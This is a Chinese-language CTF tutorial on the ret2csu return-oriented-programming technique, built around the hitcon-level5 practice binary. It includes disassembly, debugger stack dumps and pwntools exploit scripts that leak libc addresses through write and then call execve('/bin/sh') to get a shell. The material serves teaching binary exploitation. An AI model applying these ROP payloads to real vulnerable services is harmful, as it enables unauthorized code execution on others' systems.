Ret2csu

ret2csu

原理

x64中,函数的前6个参数是通过寄存器传参的( 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9),但是大多数情况下,我们很难找到每个寄存器对应的gadgets。这时,我们可以利用x64下的_libc_csu_init中的gadgets。这个函数时用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定存在。不同版本的这个函数有一定的区别。先来看一下这个函数

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

在这里我们可以利用以下几点:

  • 从0x40061A一直到结尾,我们可以利用栈溢出构造栈上数据来控制rbx,rbp,r12,r13,r14,r15寄存器

  • 从0x400600到0x400609,可以将r13赋值给rdx,将r14赋值给rsi,将r15赋值给edi(虽然这里赋值给edi,但其实此时rdi的高32位寄存器为0,所以我们其实只能控制低32位),而上述的3个寄存器其实就是x64函数调用时用到的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数,比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址

    .text:0000000000400609                 call    qword ptr [r12+rbx*8]
  • 从0x40060D到0x400614,可以控制rbx与rbp之间的关系为:rbx + 1 = rbp,这样就不会执行loc_400600,进而执行下面的汇编代码,这里我们可以简单的设置rbx=0,rbp=1。

示例

下面要用到的示例文件地址:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2__libc_csu_init/hitcon-level5

源自蒸米的一步一步学 ROP 之 linux_x64 篇中 level5。

首先看下保护:

yutao@pwnbaby:~/Desktop/hitcon-level5$ checksec level5
[*] '/home/yutao/Desktop/hitcon-level5/level5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位,开了堆栈不可执行。

发现了一个栈溢出的函数:

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]
  return read(0, &buf, 0x200uLL);
}
pwndbg> stack 24
00:0000│ rsp  0x7fffffffdec8 —▸ 0x400584 (vulnerable_function+30) ◂— nop    
01:0008│ rsi  0x7fffffffded0 ◂— '12345678\n'
02:0010│      0x7fffffffded8 ◂— 0xa /* '\n' */
03:0018│      0x7fffffffdee0 ◂— 0x0
... ↓
09:0048│      0x7fffffffdf10 ◂— 9 /* '\t' */
0a:0050│      0x7fffffffdf18 —▸ 0x7ffff7dd5660 (dl_main) ◂— push   rbp
0b:0058│      0x7fffffffdf20 —▸ 0x7fffffffdf88 —▸ 0x7fffffffe058 —▸ 0x7fffffffe386 ◂— '/home/yutao/Desktop/hitcon-level5/level5'
0c:0060│      0x7fffffffdf28 ◂— 0x1
... ↓
0e:0070│      0x7fffffffdf38 —▸ 0x40060d (__libc_csu_init+77) ◂— add    rbx, 1
0f:0078│      0x7fffffffdf40 ◂— 0x0
10:0080│      0x7fffffffdf48 —▸ 0x7ffff7ffe170 ◂— 0x0
11:0088│ rbp  0x7fffffffdf50 —▸ 0x7fffffffdf70 —▸ 0x4005c0 (__libc_csu_init) ◂— push   r15
12:0090│      0x7fffffffdf58 —▸ 0x4005b4 (main+45) ◂— mov    eax, 0
13:0098│      0x7fffffffdf60 —▸ 0x7fffffffe058 —▸ 0x7fffffffe386 ◂— '/home/yutao/Desktop/hitcon-level5/level5'
14:00a0│      0x7fffffffdf68 ◂— 0x100000000
15:00a8│      0x7fffffffdf70 —▸ 0x4005c0 (__libc_csu_init) ◂— push   r15
16:00b0│      0x7fffffffdf78 —▸ 0x7ffff7a03bf7 (__libc_start_main+231) ◂— mov    edi, eax
17:00b8│      0x7fffffffdf80 ◂— 0x2000000000
pwndbg> 

可以看出动态调出来的栈偏移与IDA中的0x80是相同的。此外,在IDA中可以发现并没有system函数,也没有/bin/sh字符串,所以只能用libc泄露函数地址来进行利用。这里选择用write函数来利用,打印出write_got函数的地址,再去寻找相对应的libc,当然也可以选用__libc_start_main来利用。

pwndbg> got

/home/yutao/Desktop/hitcon-level5/level5:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000600ff8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000601018 R_X86_64_JUMP_SLOT  write@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT  __libc_start_main@GLIBC_2.2.5

寻找write函数在内存中的真实地址:

from pwn import *

p = process('./level5')
elf = ELF('level5')

pop_addr = 0x40061a          
write_got = elf.got['write']
mov_addr = 0x400600
main_addr = elf.symbols['main']

p.recvuntil('Hello, World\n')
payload0 = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + 'a'*(0x8+8*6) + p64(main_addr)
##                                        rbx    rbp        call:r12     r13->rdx     r14->rsi     r15->edi        
p.sendline(payload0)

write_start = u64(p.recv(8))
print "write_addr_in_memory_is "+hex(write_start)

发生溢出后,覆盖返回地址,之后push各种东西,再之后覆盖返回地址为mov_addr的地址:

.text:000000000040061A                 pop     rbx  //rbx->0
.text:000000000040061B                 pop     rbp  //rbp->1
.text:000000000040061C                 pop     r12  //r12->write_got函数地址
.text:000000000040061E                 pop     r13  //r13->8
.text:0000000000400620                 pop     r14  //r14->write_got函数地址
.text:0000000000400622                 pop     r15  //r15->1
.text:0000000000400624                 retn         //覆盖为mov_addr

wiki上的exp:

from pwn import *
from LibcSearcher import *

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write'] 		#获取write函数的got地址
read_got = level5.got['read']				#获取read函数的got地址
main_addr = level5.symbols['main']  #获取main函数的函数地址
bss_base = level5.bss()							#获取bss段地址
csu_front_gadget = 0x00000000004005F0 
##_libc_csu_init函数中位置靠前的gadget,即向rdi、rsi、rdx寄存器mov的gadget
csu_behind_gadget = 0x0000000000400606
##_libc_csu_init函数中位置靠后的gadget,即pop rbx、rbp、r12、r13、r14、r15寄存器的gadget

##自定义csu函数,方便每一次构造payload
def csu(fill, rbx, rbp, r12, r13, r14, r15, main):
  #fill为填充sp指针偏移造成8字节空缺
  #rbx, rbp, r12, r13, r14, r15皆为pop参数
  #main为main函数地址
    payload = 'a' * 136 			#0x80+8个字节填满栈空间至ret返回指令
    payload += p64(csu_behind_gadget) 
    payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_gadget)
    payload += 'a' * 56      #0x38个字节填充平衡堆栈造成的空缺
    payload += p64(main)
    sh.send(payload)    #发送payload
    sleep(1)						#暂停等待接收

sh.recvuntil('Hello, World\n')
##write函数布局打印write函数地址并返回main函数
csu(0,0, 1, write_got, 1, write_got, 8, main_addr)

write_addr = u64(sh.recv(8))    #接收write函数地址
libc = LibcSearcher('write', write_addr)	#LibcSearcher查找libc版本
libc_base = write_addr - libc.dump('write') #计算该版本libc基地址
execve_addr = libc_base + libc.dump('execve') #查找该版本libc execve函数地址
log.success('execve_addr ' + hex(execve_addr))

sh.recvuntil('Hello, World\n')
##read函数布局,将execve函数地址和/bin/sh字符串写进bss段首地址
csu(0,0, 1, read_got, 0, bss_base, 16, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
##调用bss段中的execve('/bin/sh')
csu(0,0, 1, bss_base, bss_base+8, 0, 0, main_addr)
sh.interactive()
0%